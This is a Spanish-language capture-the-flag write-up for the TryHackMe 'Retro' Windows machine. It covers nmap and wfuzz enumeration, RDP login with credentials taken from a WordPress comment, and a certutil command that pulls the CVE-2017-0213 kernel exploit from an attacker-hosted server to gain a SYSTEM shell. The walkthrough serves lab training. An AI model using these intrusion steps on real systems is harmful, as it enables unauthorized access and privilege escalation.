xerosec
Buscar
K

Retro

¡Hola!
En este writeup vamos a resolver la máquina retro de TryHackMe, una máquina de nivel de dificultad difícil. La podéis encontrar en el siguiente enlace:

Reconocimiento

Esta máquina no admite trazas ICMP así que en esta ocasión vamos a saltarnos la ejecución de ping para comprobar que la máquina está activa y accesible.
Como siempre, vamos a empezar la fase de enumeración lanzando un escaneo con nmap, en esta ocasión también voy a exportar la captura de nmap a un archivo para tener los datos disponibles en caso de que más adelante fueran necesarios:
nmap -sC -sV -p- --min-rate 5000 -n -Pn <IP> -oN <NOMBRE_ARCHIVO>
El escaneo de nmap nos arroja los siguientes resultados:
Tenemos dos puertos abiertos:
  • 80 -> http
  • 3389 -> RDP (Remote Desktop)
Con estos datos ya podemos intuir que estamos ante una máquina Windows debido al RDP.
Si le echamos un vistazo a la web alojada en el puerto 80 confirmamos nuestras sospechas, nos encontramos ante un Windows Server:
Iniciamos un proceso de fuzzing con wfuzz utilizando el diccionario directory list 2-3 medium para descubrir posibles rutas:
wfuzz --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://<IP>/FUZZ
Vamos a echarle un vistazo a esta nueva ruta que hemos descubierto y nos encontramos con lo que parece ser la web principal del servidor:
Podemos utilizar Wappalyzer o whatweb para conocer los servicios que corren por detrás. Encontramos, entre otros, Wordpress:
Antes de buscar posibles exploits para esa versión de Wordpress vamos a investigar un poco la web.
Parece ser que tenemos un solo redactor, ya que todos los posts publicados tienen como autor a un usuario llamado Wade.
Si indagamos un poco más, bajo el post llamado "Ready Player One" encontramos un comentario algo sospechoso:

Explotación

¿Serán credenciales? Recordemos que el puerto 3389 está abierto así que tenemos el servicio Remote Desktop de Windows habilitado. Probemos a acceder mediante xfreerdp junto a nuestras potenciales credenciales a dicho servicio:
xfreerdp /u:Wade /p:parzival /v:<IP> /dynamic-resolution
¡Y estamos dentro!

Escalada de privilegios

Con esto ya tenemos sesión con el usuario Wade dentro de la máquina y podemos visualizar la primera flag, que se encuentra en el propio escritorio de la máquina:
Lanzamos el comando systeminfo desde Powershell para realizar un reconocimiento rápido de la versión del sistema operativo para buscar información sobre potenciales vulnerabilidades y proceder con la escalada de privilegios:
Si realizamos una búsqueda en Google tipo: "Windows Server 2016 10.0.14393 exploit" más temprano que tarde nos encontraremos con un enlace al famosísimo repositorio PayloadsAllTheThings de Github. En él tenemos disponibles una serie de exploits de Kernel que nos pueden ser de utilidad para esta máquina.
Vamos a echar un vistazo a los compatibles con la versión de nuestro sistema operativo:
Y en este caso vamos a utilizar el que corresponde al CVE-2017-0213, el enlace nos llevará directamente a la siguiente página:
Descargamos el exploit que corresponde a la versión de 64 bits; CVE-2017-0213_x64.zip.
Para subir el archivo a nuestra máquina víctima iniciamos un servidor http con Python bajo la carpeta en la que se encuentre nuestro comprimido:
python3 -m http.server
Y utilizamos certutil desde Powershell para descargarnos nuestro archivo ya que desde el navegador no se nos permitirá ya que se aplican medidas de seguridad:
certutil.exe -urlcache -f http://<IP_Atacante>:<Puerto>/CVE-2017-0213_x64.zip CVE-2017-0213_x64.zip
Descomprimimos el archivo en la máquina víctima, ejecutamos el .exe y...
¡Bam! Conseguimos una shell de altos privilegios como nt-authority/system 😎
Y con esto ya podemos visualizar las flags y habremos terminado la máquina.
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯
Espero que este Writeup te haya sido de utilidad, si tienes alguna duda, sugerencia o simplemente te interesa este tipo de contenido no dudes en seguirme a través de cualquiera de mis redes sociales:
¡Gracias por llegar hasta aquí!